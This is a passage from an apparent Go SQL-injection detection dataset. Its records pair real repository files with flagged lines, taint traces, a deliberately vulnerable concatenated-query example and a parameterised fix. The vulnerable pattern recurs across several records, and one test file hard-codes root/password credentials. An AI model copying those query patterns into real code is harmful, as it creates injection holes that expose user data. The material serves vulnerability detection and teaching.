{\n\t\treturn nil, fmt.Errorf(\"http getcommand %v error: read response %v\", cmd, err)\n\t}\n\tif reply.Code != 0 {\n\t\treturn nil, fmt.Errorf(\"http getcommand %v error: read response %v\", cmd, reply.Message)\n\t}\n\treturn reply.Data, nil\n}\n\nfunc selectDownPeer(routes []*http_reply.Route) (uint64, uint64, bool) {\n\tif len(routes) == 0 {\n\t\tfmt.Println(\"select down peer route len is 0\")\n\t\treturn 0, 0, false\n\t}\n\tset := func() []*http_reply.Route {\n\t\tvar ret_ []*http_reply.Route\n\t\tfor _, r := range routes {\n\t\t\tif r.Leader == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif len(r.Range.Peers) < 2 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif r.Leader.Node.GetState() != metapb.NodeState_N_Login {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tPEER_LOOP:\n\t\t\tfor _, p := range r.Range.Peers {\n\t\t\t\tif p.Node.GetState() != metapb.NodeState_N_Login {\n\t\t\t\t\tbreak PEER_LOOP\n\t\t\t\t}\n\t\t\t}\n\t\t\tif len(r.Downs) != 0 || len(r.Pends) != 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tret_ = append(ret_, r)\n\t\t}\n\t\treturn ret_\n\t}()\n\tif len(set) == 0 {\n\t\treturn 0, 0, false\n\t}\n\n\trand.Seed(time.Now().Unix())\n\troute := set[rand.Intn(len(set))]\n\n\treturn route.Range.Id, route.Leader.Id, true\n\n\t//n := rand.Intn(1+len(route.Range.Peers))\n\t//if n == len(route.Range.Peers) {\n\t//\treturn route.Range.Id, route.Leader.Id, true\n\t//} else {\n\t//\treturn route.Range.Id, route.Range.Peers[n].Id, true\n\t//}\n}\n\nfunc (b *Boomer) verifyWithPeerDown(ctx context.Context) {\n\tt := time.NewTimer(time.Second*time.Duration(b.DeletePeerVerify))\n\tcli := &http.Client{}\n\tfor {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn\n\t\tcase <-t.C:\n\t\t\t// get route\n\t\t\td := time.Now().Unix()\n\t\t\ts := http_reply.GenSign(b.ClusterId, d, b.ClusterToken)\n\t\t\targs := url.Values{}\n\t\t\targs.Add(\"dbName\", fmt.Sprintf(\"%v\", b.Database))\n\t\t\targs.Add(\"tableName\", fmt.Sprintf(\"%v\", b.Table))\n\t\t\targs.Add(\"d\", fmt.Sprintf(\"%v\", d))\n\t\t\targs.Add(\"s\", fmt.Sprintf(\"%v\", s))\n\t\t\troutes := b.getRouteCommand(cli, args)\n\t\t\tif routes == nil {\n\t\t\t\tfmt.Println(\"route is nil\")\n\t\t\t\tt.Reset(time.Second*time.Duration(b.DeletePeerVerify))\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfmt.Println(\"get route: \", routes.Routes)\n\t\t\trangeId, peerId, ok := selectDownPeer(routes.Routes)\n\t\t\tif !ok {\n\t\t\t\tfmt.Println(\"node peer selected\")\n\t\t\t\tt.Reset(time.Second*time.Duration(b.DeletePeerVerify))\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tfmt.Printf(\"rangeid: %v, peerid: %v\\n\", rangeId, peerId)\n\t\t\t// down peer to master\n\t\t\targs = url.Values{}\n\t\t\targs.Add(\"dbName\", fmt.Sprintf(\"%v\", b.Database))\n\t\t\targs.Add(\"tableName\", fmt.Sprintf(\"%v\", b.Table))\n\t\t\targs.Add(\"rangeId\", fmt.Sprintf(\"%v\", rangeId))\n\t\t\targs.Add(\"peerId\", fmt.Sprintf(\"%v\", peerId))\n\t\t\targs.Add(\"d\", fmt.Sprintf(\"%v\", d))\n\t\t\targs.Add(\"s\", fmt.Sprintf(\"%v\", s))\n\t\t\tif err := b.delPeerCommand(cli, args); len(err) != 0 {\n\t\t\t\tfmt.Println(\"delete peer error: %v\", err)\n\t\t\t}\n\n\t\t\tt.Reset(time.Second*time.Duration(b.DeletePeerVerify))\n\t\t}\n\t}\n}\n\n// index: c, base: times, n: n/c\nfunc (b *Boomer) runWorker(index, base, n int) {\n\tvar throttle <-chan time.Time\n\tif b.Qps > 0 {\n\t\tthrottle = time.Tick(time.Duration(1e6/(b.Qps)) * time.Microsecond)\n\t}\n\n\tdns := fmt.Sprintf(\"%s:%s@tcp(%s)/%s\", b.User, b.Password, b.Host, b.Database)\n\tdb, err := sql.Open(\"mysql\", dns)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\t// run verify\n\tif b.Verify {\n\t\tfmt.Println(\"---- verify mode ----\")\n\t\tfmt.Println(\"verify: \", b.Verify)\n\t\tfmt.Println(\"verify step: \", b.StepVerify)\n\t\tfmt.Println(\"id: \", b.ClusterId)\n\t\tfmt.Println(\"token: \", b.ClusterToken)\n\t\tfmt.Println(\"master: \", b.MasterAddr)\n\t\tfor i := 0; i < n; i++ {\n\t\t\tsuffix := fmt.Sprintf(\"%d_%d_%d_%d\", b.Base + base, base, index,index*n + i)\n\t\t\tb.verifyWrite(db, suffix, i)\n\t\t\tif b.StepVerify { // read until ok\n\t\t\t\t//fmt.Printf(\"verify step line: %v\\n\", i)\n\t\t\t\tb.verifyRead(db, suffix, i, \"step\")\n\t\t\t}\n\t\t}\n\t\tfor i := 0; i < n; i++ {\n\t\t\t//fmt.Printf(\"verify end line: %v\\n\", i)\n\t\t\tsuffix := fmt.Sprintf(\"%d_%d_%d_%d\", b.Base + base, base, index,index*n + i)\n\t\t\tb.verifyRead(db, suffix, i, \"end\")\n\t\t}\n\t\tfmt.Println(\"---- verify ok ----\")\n\t\treturn\n\t}\n\n\t// run mode\n\tfor i := 0; i < n; i++ {\n\t\tif b.Qps > 0 {\n\t\t\t<-throttle\n\t\t}\n\n\t\tswitch b.Mode {\n\t\t// 1: random insert\n\t\tcase 1:\n\t\t\tb.makeRandomInsert(db)\n\t\t// 2: order insert\n\t\tcase 2:\n\t\t\tsuffix := fmt.Sprintf(\"%d_%d_%d_%d\", b.Base + base, base, index,index*n + i)\n\t\t\tb.makeOrderInsert(db, suffix)\n\t\t// 3: order select\n\t\tcase 3:\n\t\t\tsuffix := fmt.Sprintf(\"%d_%d_%d_%d\", b.Base + base, base, index, index*n + i)\n\t\t\tb.makeOrderSelect(db, suffix)\n\t\t// 4: single select\n\t\tcase 4:\n\t\t\tb.makeSignalSelect(db)\n\t\t// 5: random select\n\t\tcase 5:\n\t\t\tr := rand.New(rand.NewSource(time.Now().UnixNano()))\n\t\t\tvar _base, _index, _i int\n\t\t\t_base = r.Intn(b.Times)\n\t\t\t_index = r.Intn(b.C)\n\t\t\t_i = r.Intn(n)\n\t\t\tsuffix := fmt.Sprintf(\"%d_%d_%d_%d\", b.Base + _base, _base, _index, _i)\n\t\t\tb.makeRandomSelect(db, suffix)\n\t\tcase 6:\n\t\t\tsuffix := fmt.Sprintf(\"%d_%d_%d_%d\", b.Base + base, base, index,index*n + i)\n\t\t\tb.makeHashInsert(db,suffix)\n\t\tcase 7:\n\t\t\t//r := rand.New(rand.NewSource(time.Now().UnixNano()))\n\t\t\t//var _base, _index, _i int\n\t\t\t//_base = r.Intn(b.Times)\n\t\t\t//_index = r.Intn(b.C)\n\t\t\t//_i := r.Intn(n)\n\t\t\tsuffix := fmt.Sprintf(\"%d_%d_%d_%d\", b.Base + base, base, index,index*n + i)\n\t\t\tb.makeHashSelect(db,suffix)\n\t\tcase 8:\n\t\t\tsuffix := fmt.Sprintf(\"%d_%d_%d_%d\", b.Base + base, base, index,index*n + i)\n\t\t\tb.makeHashMultiInsert(db,suffix)\n\t\t}\n\t}\n\tdb.Close()\n}\n\nfunc (b *Boomer) prepare(base int) error {\n\tdns := fmt.Sprintf(\"%s:%s@tcp(%s)/%s\", b.User, b.Password, b.Host, b.Database)\n\tdb, err := sql.Open(\"mysql\", dns)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\tdefer db.Close()\n\tswitch b.Mode {\n\t// 1: random insert\n\tcase 1:\n\t// 2: order insert\n\tcase 2:\n\t// 3: order select\n\tcase 3:\n\t\t//var wg sync.WaitGroup\n\t\t//wg.Add(b.C)\n\t\t//for i := 0; i < b.C; i++ {\n\t\t//\tgo func(_index, _base, _n int) {\n\t\t//\t\tdefer wg.Done()\n\t\t//\t\tdns := fmt.Sprintf(\"%s:%s@tcp(%s)/%s\", b.User, b.Password, b.Host, b.Database)\n\t\t//\t\tdb, err := sql.Open(\"mysql\", dns)\n\t\t//\t\tif err != nil {\n\t\t//\t\t\tfmt.Println(err)\n\t\t//\t\t\tos.Exit(-1)\n\t\t//\t\t}\n\t\t//\t\tfor j := 0; j < _n; j++ {\n\t\t//\t\t\tsuffix := fmt.Sprintf(\"%d_%d_%d\", _base, _index, j)\n\t\t//\t\t\tuser := fmt.Sprintf(\"user_%s\", suffix)\n\t\t//\t\t\tpassword := fmt.Sprintf(\"\", suffix)\n\t\t//\t\t\treal := fmt.Sprintf(\"real_%s\", suffix)\n\t\t//\t\t\tSQL := fmt.Sprintf(`INSERT INTO %s(user_name, pass_word, real_name) VALUES(\"%s\",\"%s\",\"%s\")`, b.Table, user, password, real)\n\t\t//\t\t\t_, err := db.Exec(SQL)\n\t\t//\t\t\tif err != nil {\n\t\t//\t\t\t\tfmt.Println(err)\n\t\t//\t\t\t\tos.Exit(-1)\n\t\t//\t\t\t}\n\t\t//\t\t}\n\t\t//\t}(i, base, b.N / b.C)\n\t\t//}\n\t\t//wg.Wait()\n\t// 4: single select\n\tcase 4:\n\t\tsuffix := \"1\"\n\t\tuser := fmt.Sprintf(\"user_%s\", suffix)\n\t\tpassword := fmt.Sprintf(\"\", suffix)\n\t\treal := fmt.Sprintf(\"real_%s\", suffix)\n\t\tSQL := fmt.Sprintf(`SELECT user_name, pass_word, real_name FROM %s WHERE user_name=\"%s\"`, b.Table, user)\n\t\tvar user_name, pass_word, real_name string\n\t\terr := db.QueryRow(SQL).Scan(&user_name, &pass_word, &real_name)\n\t\tif err == nil {\n\t\t\treturn nil\n\t\t}\n\t\tSQL = fmt.Sprintf(`INSERT INTO %s(user_name, pass_word, real_name) VALUES(\"%s\",\"%s\",\"%s\")`, b.Table, user, password, real)\n\t\t_, err = db.Exec(SQL)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t// 5 random select\n\tcase 5:\n\tcase 6:\n\n\t}\n\treturn nil\n}\n\nfunc (b *Boomer) runWorkers(base int) {\n\tvar wg sync.WaitGroup\n\twg.Add(b.C)\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tif b.Verify && b.DeletePeerVerify != 0 {\n\t\tgo b.verifyWithPeerDown(ctx)\n\t}\n\n\t// Ignore the case where b.N % b.C != 0.\n\tfor i := 0; i < b.C; i++ {\n\t\tgo func(index int) {\n\t\t\tb.runWorker(index, base, b.N / b.C)\n\t\t\twg.Done()\n\t\t}(i)\n\t\t// TODO rm time.Sleep(time.Second*time.Duration(b.DeletePeerVerify)*10)\n\t}\n\twg.Wait()\n\tcancel()\n}\n\nfunc randomString(length int) string {\n\tstr := \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\tbytes := []byte(str)\n\tresult := []byte{}\n\tr := rand.New(rand.NewSource(time.Now().UnixNano()))\n\tfor i := 0; i < length; i++ {\n\t\tresult = append(result, bytes[r.Intn(len(bytes))])\n\t}\n\treturn string(result)\n}\n", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 180, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 181, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Sprintf"}}, {"lineNo": 181, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 189, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "d466af66465534928d33a1effb8cd694323375eb1c68934ad7823be02908b0ff", "license": {"spdx": ["BSD-3-Clause"], "repo": "edwingeng/wuid", "path": "mysql/wuid/wuid_test.go", "repo_head_hexsha": "ad3ff5003c516d882c3d5bd47d7019112c9b3575", "stack_hexsha": "92d941f98b78d41bf931eb3e1d145614f6e17d8d", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 34, "entireCode": "package wuid\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/edwingeng/slog\"\n\t\"github.com/edwingeng/wuid/internal\"\n\t_ \"github.com/go-sql-driver/mysql\"\n)\n\nfunc init() {\n\taddr, user, pass, dbName, table := getMysqlConfig()\n\n\tvar dsn string\n\tdsn += user\n\tif len(pass) > 0 {\n\t\tdsn += \":\" + pass\n\t}\n\tdsn += \"@tcp(\" + addr + \")/\" + dbName\n\n\tdb, err := sql.Open(\"mysql\", dsn)\n\tif err != nil {\n\t\tfmt.Println(\"mysql connection error: \", err)\n\t}\n\tdefer func() {\n\t\t_ = db.Close()\n\t}()\n\n\t_, err = db.Exec(fmt.Sprintf(\"SELECT 1 FROM %s.%s LIMIT 1\", dbName, table))\n\tif err != nil {\n\t\tformat := \"Table '%s.%s' doesn't exist. You can create it with github.com/edwingeng/wuid/mysql/db.sql\"\n\t\tpanic(fmt.Sprintf(format, dbName, table))\n\t}\n}\n\nfunc getMysqlConfig() (string, string, string, string, string) {\n\treturn \"127.0.0.1:3306\", \"root\", \"password\", \"\", \"wuid\"\n}\n\nfunc connect(addr, user, pass, dbName string) (*sql.DB, error) {\n\tvar dsn string\n\tdsn += user\n\tif len(pass) > 0 {\n\t\tdsn += \":\" + pass\n\t}\n\tdsn += \"@tcp(\" + addr + \")/\" + dbName\n\n\tdb, err := sql.Open(\"mysql\", dsn)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db, nil\n}\n\nfunc TestWUID_LoadH28FromMysql(t *testing.T) {\n\taddr, user, pass, dbName, table := getMysqlConfig()\n\tnewDB := func() (*sql.DB, bool, error) {\n\t\tdb, err := connect(addr, user, pass, dbName)\n\t\treturn db, true, err\n\t}\n\n\tvar nextValue int64\n\tg := NewWUID(\"default\", slog.NewDumbLogger())\n\tfor i := 0; i < 1000; i++ {\n\t\terr := g.LoadH28FromMysql(newDB, table)\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t\tif i == 0 {\n\t\t\tnextValue = atomic.LoadInt64(&g.w.N)\n\t\t} else {\n\t\t\tnextValue = ((nextValue >> 36) + 1) << 36\n\t\t}\n\t\tif atomic.LoadInt64(&g.w.N) != nextValue {\n\t\t\tt.Fatalf(\"g.w.N is %d, while it should be %d. i: %d\", atomic.LoadInt64(&g.w.N), nextValue, i)\n\t\t}\n\t\tfor j := 0; j < rand.Intn(10); j++ {\n\t\t\tg.Next()\n\t\t}\n\t}\n}\n\nfunc TestWUID_LoadH28FromMysql_Error(t *testing.T) {\n\tg := NewWUID(\"default\", slog.NewDumbLogger())\n\tif g.LoadH28FromMysql(nil, \"\") == nil {\n\t\tt.Fatal(\"table is not properly checked\")\n\t}\n}\n\nfunc TestWUID_Next_Renew(t *testing.T) {\n\taddr, user, pass, dbName, table := getMysqlConfig()\n\tdb, err := connect(addr, user, pass, dbName)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tnewDB := func() (*sql.DB, bool, error) {\n\t\treturn db, false, nil\n\t}\n\n\tg := NewWUID(\"default\", slog.NewDumbLogger())\n\terr = g.LoadH28FromMysql(newDB, table)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tn1 := g.Next()\n\tkk := ((internal.CriticalValue + internal.RenewIntervalMask) & ^internal.RenewIntervalMask) - 1\n\n\tg.w.Reset((n1 >> 36 << 36) | kk)\n\tg.Next()\n\ttime.Sleep(time.Millisecond * 200)\n\tn2 := g.Next()\n\n\tg.w.Reset((n2 >> 36 << 36) | kk)\n\tg.Next()\n\ttime.Sleep(time.Millisecond * 200)\n\tn3 := g.Next()\n\n\tif n2>>36 == n1>>36 || n3>>36 == n2>>36 {\n\t\tt.Fatalf(\"the renew mechanism does not work as expected: %x, %x, %x\", n1>>36, n2>>36, n3>>36)\n\t}\n}\n\nfunc TestWithSection(t *testing.T) {\n\taddr, user, pass, dbName, table := getMysqlConfig()\n\tdb, err := connect(addr, user, pass, dbName)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tnewDB := func() (*sql.DB, bool, error) {\n\t\treturn db, false, nil\n\t}\n\n\tg := NewWUID(\"default\", slog.NewDumbLogger(), WithSection(7))\n\terr = g.LoadH28FromMysql(newDB, table)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif g.Next()>>60 != 7 {\n\t\tt.Fatal(\"WithSection does not work as expected\")\n\t}\n}\n\nfunc Example() {\n\tnewDB := func() (*sql.DB, bool, error) {\n\t\tvar db *sql.DB\n\t\t// ...\n\t\treturn db, true, nil\n\t}\n\n\t// Setup\n\tg := NewWUID(\"default\", nil)\n\t_ = g.LoadH28FromMysql(newDB, \"wuid\")\n\n\t// Generate\n\tfor i := 0; i < 10; i++ {\n\t\tfmt.Printf(\"%#016x\\n\", g.Next())\n\t}\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 34, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "af641206a6a3f4c2b0f95ab97a122d2365b77bb99f1f44419a0639e90d5422f9", "license": {"spdx": ["BSD-2-Clause"], "repo": "lovleen-bhalla/sqlite_tool", "path": "print_schema.go", "repo_head_hexsha": "6a54b28d4106a0178643f943dcbbf85e608a94f4", "stack_hexsha": "332a9df2057361538504d67171054b9d885d1a48", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 16, "entireCode": "package main\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"log\"\n)\n\nfunc getTableSchema(database, table string) string {\n\tdb, err := sql.Open(\"sqlite3\", database)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer db.Close()\n\n\trow, err := db.Query(fmt.Sprintf(\"select sql from sqlite_master where type='table' and name='%s'\", table))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer row.Close()\n\n\tvar statement string\n\tfor row.Next() {\n\t\terr = row.Scan(&statement)\n\t}\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn statement\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 16, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 16, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "0821e1c5e1b282398e392779a8fd4d69940e04d99cc427e24198935994da9167", "license": {"spdx": ["MIT"], "repo": "petertrotman/gdax-scraper", "path": "database.go", "repo_head_hexsha": "daeb44024d03965641817d7d11ff0feeb14a581f", "stack_hexsha": "eea693ebc2d86b50cecea4f8044c4ad9bce21c51", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 150, "entireCode": "package main\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/petertrotman/gdax-scraper/gdax\"\n\t\"github.com/pkg/errors\"\n)\n\n// PrepareDB creates the necessary tables if they are not already in the database\nfunc prepareDB(db *sql.DB) error {\n\tvar err error\n\n\t_, err = db.Exec(`\n\tCREATE TABLE IF NOT EXISTS messages (\n\t\tid BIGSERIAL PRIMARY KEY,\n\t\ttype VARCHAR(30),\n\t\tproduct_id VARCHAR(10),\n\t\ttrade_id BIGINT,\n\t\torder_id VARCHAR(60),\n\t\tsequence BIGINT,\n\t\tmaker_order_id VARCHAR(60),\n\t\ttaker_order_id VARCHAR(60),\n\t\ttime TIMESTAMP,\n\t\tremaining_size NUMERIC,\n\t\tnew_size NUMERIC,\n\t\told_size NUMERIC,\n\t\tsize NUMERIC,\n\t\tprice NUMERIC,\n\t\tside VARCHAR(10),\n\t\treason VARCHAR(60),\n\t\torder_type VARCHAR(10),\n\t\tfunds NUMERIC,\n\t\tnew_funds NUMERIC,\n\t\told_funds NUMERIC,\n\t\tmessage VARCHAR(60)\n\t);\n\t`)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not create messages table\")\n\t}\n\n\t_, err = db.Exec(`\n\tCREATE TABLE IF NOT EXISTS snapshots (\n\t\tid BIGSERIAL PRIMARY KEY,\n\t\tproduct_id VARCHAR(10),\n\t\tsequence BIGINT,\n\t\tbid_ask VARCHAR(3),\n\t\tprice NUMERIC,\n\t\tsize NUMERIC,\n\t\torder_id VARCHAR(60)\n\t);\n\t`)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not create snapshots table\")\n\t}\n\n\treturn nil\n}\n\ntype statements struct {\n\tInsertMessage *sql.Stmt\n\tInsertSnapshot *sql.Stmt\n}\n\nfunc prepareStmts(db *sql.DB) (*statements, error) {\n\tinsertMessageStmt, err := db.Prepare(`\n\tINSERT INTO messages (\n\t\ttype, product_id, trade_id, order_id, sequence, maker_order_id, taker_order_id, time, remaining_size, new_size, old_size, size, price, side, reason, order_type, funds, new_funds, old_funds, message\n\t) VALUES (\n\t\t$1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20\n\t);\n\t`)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not prepare insert message statement\")\n\t}\n\n\tinsertSnapshotStmt, err := db.Prepare(`\n\tINSERT INTO snapshots (\n\t\tproduct_id, sequence, bid_ask, price, size, order_id\n\t) VALUES (\n\t\t$1, $2, $3, $4, $5, $6\n\t);\n\t`)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not prepare insert snapshot statement\")\n\t}\n\n\tstmts := statements{\n\t\tInsertMessage: insertMessageStmt,\n\t\tInsertSnapshot: insertSnapshotStmt,\n\t}\n\treturn &stmts, nil\n}\n\ntype insertResult struct {\n\tResult sql.Result\n\tError error\n}\n\n// This is required because max_connections on gcloud is 100, and we easily exceed 100 connections otherwise\nfunc batchInsertMessages(db *sql.DB, ch chan *gdax.Message) chan insertResult {\n\tt := time.NewTicker(1 * time.Second)\n\tvar messages []*gdax.Message\n\tresult := make(chan insertResult)\n\n\tgo func() {\n\t\tfor {\n\t\t\t<-ch\n\t\t}\n\t}()\n\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase msg := <-ch:\n\t\t\t\tmessages = append(messages, msg)\n\t\t\tcase <-t.C:\n\t\t\t\tvar values []string\n\t\t\t\tfor _, m := range messages {\n\t\t\t\t\tvalue := fmt.Sprintf(\n\t\t\t\t\t\t\"('%v','%v',%v,'%v',%v,'%v','%v','%v',%v,%v,%v,%v,%v,'%v','%v','%v',%v,%v,%v,'%v')\",\n\t\t\t\t\t\tm.Type,\n\t\t\t\t\t\tm.ProductId,\n\t\t\t\t\t\tm.TradeId,\n\t\t\t\t\t\tm.OrderId,\n\t\t\t\t\t\tm.Sequence,\n\t\t\t\t\t\tm.MakerOrderId,\n\t\t\t\t\t\tm.TakerOrderId,\n\t\t\t\t\t\tm.Time.Time().Format(\"2006-01-02T15:04:05.0000Z\"), // exchange.Time() -> time.Time()\n\t\t\t\t\t\tm.RemainingSize,\n\t\t\t\t\t\tm.NewSize,\n\t\t\t\t\t\tm.OldSize,\n\t\t\t\t\t\tm.Size,\n\t\t\t\t\t\tm.Price,\n\t\t\t\t\t\tm.Side,\n\t\t\t\t\t\tm.Reason,\n\t\t\t\t\t\tm.OrderType,\n\t\t\t\t\t\tm.Funds,\n\t\t\t\t\t\tm.NewFunds,\n\t\t\t\t\t\tm.OldFunds,\n\t\t\t\t\t\tm.Message.Message, // Because the Message is embedded?\n\t\t\t\t\t)\n\t\t\t\t\tvalues = append(values, value)\n\t\t\t\t}\n\t\t\t\tres, err := db.Exec(fmt.Sprintf(`\n\t\t\t\t\t\tINSERT INTO messages (\n\t\t\t\t\t\t\ttype, product_id, trade_id, order_id, sequence, maker_order_id, taker_order_id, time, remaining_size, new_size, old_size, size, price, side, reason, order_type, funds, new_funds, old_funds, message\n\t\t\t\t\t\t) VALUES %s;\n\t\t\t\t\t`, strings.Join(values, \",\")))\n\n\t\t\t\t// Reset the messages buffer\n\t\t\t\tmessages = []*gdax.Message{}\n\t\t\t\tresult <- insertResult{res, err}\n\t\t\t}\n\t\t}\n\t}()\n\n\treturn result\n}\n\nfunc insertMessage(stmts *statements, m *gdax.Message) (sql.Result, error) {\n\treturn stmts.InsertMessage.Exec(\n\t\tm.Type,\n\t\tm.ProductId,\n\t\tm.TradeId,\n\t\tm.OrderId,\n\t\tm.Sequence,\n\t\tm.MakerOrderId,\n\t\tm.TakerOrderId,\n\t\tm.Time.Time(), // exchange.Time() -> time.Time()\n\t\tm.RemainingSize,\n\t\tm.NewSize,\n\t\tm.OldSize,\n\t\tm.Size,\n\t\tm.Price,\n\t\tm.Side,\n\t\tm.Reason,\n\t\tm.OrderType,\n\t\tm.Funds,\n\t\tm.NewFunds,\n\t\tm.OldFunds,\n\t\tm.Message.Message, 